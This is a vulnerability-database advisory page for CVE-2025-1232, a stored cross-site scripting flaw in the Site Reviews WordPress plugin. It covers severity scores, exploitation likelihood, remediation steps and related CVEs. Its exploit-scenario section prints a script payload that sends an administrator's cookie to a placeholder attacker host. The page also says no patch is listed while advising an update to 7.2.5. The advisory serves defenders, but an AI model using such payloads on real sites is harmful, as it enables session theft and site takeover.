What is the CVSS score of CVE-2025-1232?

CVE-2025-1232 has a CVSS 3.1 base score of 8.8 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 53.1%.

Is there a public PoC exploit available for CVE-2025-1232?

Yes, a public proof-of-concept exploit is available for CVE-2025-1232. Prioritise patching immediately. EPSS: 53.1%.

How to fix or mitigate CVE-2025-1232?

Within 7 days: Identify all affected systems and apply vendor patches promptly. Verify anti-CSRF tokens and content security policies are enforced.

Site Reviews CVE-2025-1232

HIGH

Cross-site Scripting (XSS) (CWE-79)

2025-03-19 contact@wpscan.com

PHP WordPress XSS Site Reviews Geminilabs

8.8

CVSS 3.1 · NVD

View

Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	CVSS 8.8, EPSS 53.1%, PoC available. Site Reviews is installed on thousands of WordPress sites. The attack is low-skill: submit a review with JavaScript payload and wait for an admin to view the dashboard.
Exploit ScenarioDerived	An attacker submits a review containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. When the site admin opens the reviews page, the script sends their session cookie to the attacker. The attacker uses the cookie to log in as admin and installs a persistent backdoor plugin.

Act Now Prioritize within 24-48h. Why: HIGH severity + EPSS > 10%.

No patch listed yet 53.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 28, 2026

The Site Reviews WordPress plugin before version 7.2.5 contains a stored XSS vulnerability via review fields. Unauthenticated users can inject malicious scripts through review submissions that execute when administrators view the reviews in the dashboard, enabling admin session hijacking.

Earlier versions of this analysis (1)

v1 Mar 28, 2026 - 18:32 CVSS 8.8

Stored XSS in Site Reviews WordPress plugin via unauthenticated review submission enables admin session hijacking.

RemediationAI

Update Site Reviews to 7.2.5 or later. Implement CSP headers that restrict inline script execution. Review stored reviews for suspicious script content. Enable HttpOnly flag on session cookies.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Review fields submitted through the public review form are not properly sanitized before storage. When an administrator views reviews in the WordPress dashboard, the injected JavaScript executes in their authenticated browser session. This can steal admin cookies, create backdoor admin accounts, or modify site content.

Know when Site Reviews gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

PoC Detected

May 09, 2025 - 12:00 vuln.today

Public exploit code

CVE Published

Mar 19, 2025 - 06:15 nvd

HIGH 8.8

DescriptionCVE.org

The Site Reviews WordPress plugin before 7.2.5 does not properly sanitise and escape some of its Review fields, which could allow unauthenticated users to perform Stored XSS attacks

Executive ViewAI

Why It Matters

Organizations using Site Reviews WordPress face significant risk from CVE-2025-1232, a cross-site scripting vulnerability rated CVSS 8.8. Attackers could inject malicious scripts to steal user sessions, credentials, or perform actions on behalf of authenticated users. With an EPSS score of 53%, this vulnerability faces very high likelihood of exploitation. Organizations should apply vendor updates when available and consider compensating controls in the interim.

Business Impact: Severe

Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement Content-Security-Policy headers; (2) Enable HttpOnly and SameSite cookie attributes; (3) Deploy WAF XSS/CSRF rules.

Threat Intelligence Overview

Threat Score

4.9/10

Composite threat intelligence

EPSS Score

53.1%

Top 2% exploitable

Exploit

POC

Public exploit code exists

Data Quality

3 sources

Confidence: Low

NVD

CVE.org

EPSS POC (1)

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV No

Public POC Yes

EPSS 53.1%

Patch available No

Active threat Yes

Deciding rule

HIGH severity + EPSS > 10%

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Out-of-Cycle

Exploitation· derived

Poc

System Exposure· derived

Open

Automatable· derived

Human Impact

Very High

Priority Score

117

Low Medium High Critical

KEV: 0

EPSS: +53

CVSS: +44

PoC: +20

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Cross-Site Scripting MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:geminilabs:site_reviews:*:*:*:*:*:wordpress:*:*

More in Site Reviews

View all

CVE-2024-3050 CRITICAL Act Now POC

9.1 May 29

The Site Reviews WordPress plugin before 7.0.0 retrieves client IP addresses from potentially untrusted headers, allowin

CVE-2026-82925 HIGH This Week POC

8.1 Sep 10

PHP object injection in the Site Reviews WordPress plugin before 8.3.0 allows unauthenticated remote attackers to deseri

CVE-2021-24603 MEDIUM This Month POC

5.4 Sep 06

The Site Reviews WordPress plugin before 5.13.1 does not sanitise some of its Review Details when adding a review as an

CVE-2023-1525 MEDIUM This Month POC

4.8 May 02

The Site Reviews WordPress plugin before 6.7.1 does not sanitise and escape some of its settings, which could allow high

CVE-2026-73382 HIGH This Week POC

7.1 Aug 18

Cross-site scripting in the Site Reviews WordPress plugin by Gemini Labs (versions up to and including 8.2.0) allows una

CVE-2026-94078 HIGH This Week

7.1 Sep 30

Cross-site scripting in the Site Reviews WordPress plugin through version 8.3.1 allows unauthenticated remote attackers

CVE-2022-46801 MEDIUM This Month

6.1 Nov 07

A vulnerability in Gemini Labs Site Reviews site-reviews.2.0. Rated medium severity (CVSS 6.1), this vulnerability is re

CVE-2018-0603 MEDIUM This Month

6.1 Jun 26

Cross-site scripting vulnerability in Site Reviews versions prior to 2.15.3 allows remote attackers to inject arbitrary

CVE-2023-27629 MEDIUM This Month

5.4 Jun 22

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor pat

CVE-2023-27612 MEDIUM This Month

5.4 Jun 22

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor pat

CVE-2026-103340 MEDIUM This Month

5.3 Oct 01

Missing authorization in Gemini Labs Site Reviews WordPress plugin through 8.3.2 lets unauthenticated remote attackers t

Same weakness CWE-79 – Cross-site Scripting (XSS)

View all

CVE-2020-3580 MEDIUM POC

6.1

CVE-2013-7389 MEDIUM POC

4.3

CVE-2021-25299 MEDIUM POC

6.1

CVE-2014-2120 MEDIUM

6.1

CVE-2023-40000 HIGH POC

8.3

CVE-2016-8581 MEDIUM POC

6.1

CVE-2013-5223 MEDIUM POC

5.4

CVE-2025-52367 MEDIUM POC

5.4

Same technique XSS

View all

CVE-2017-9248 CRITICAL POC

9.8

CVE-2013-1710 CRITICAL POC

10.0

CVE-2024-52875 HIGH POC

8.8

Search Externally

GitHub PoC

Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC

Back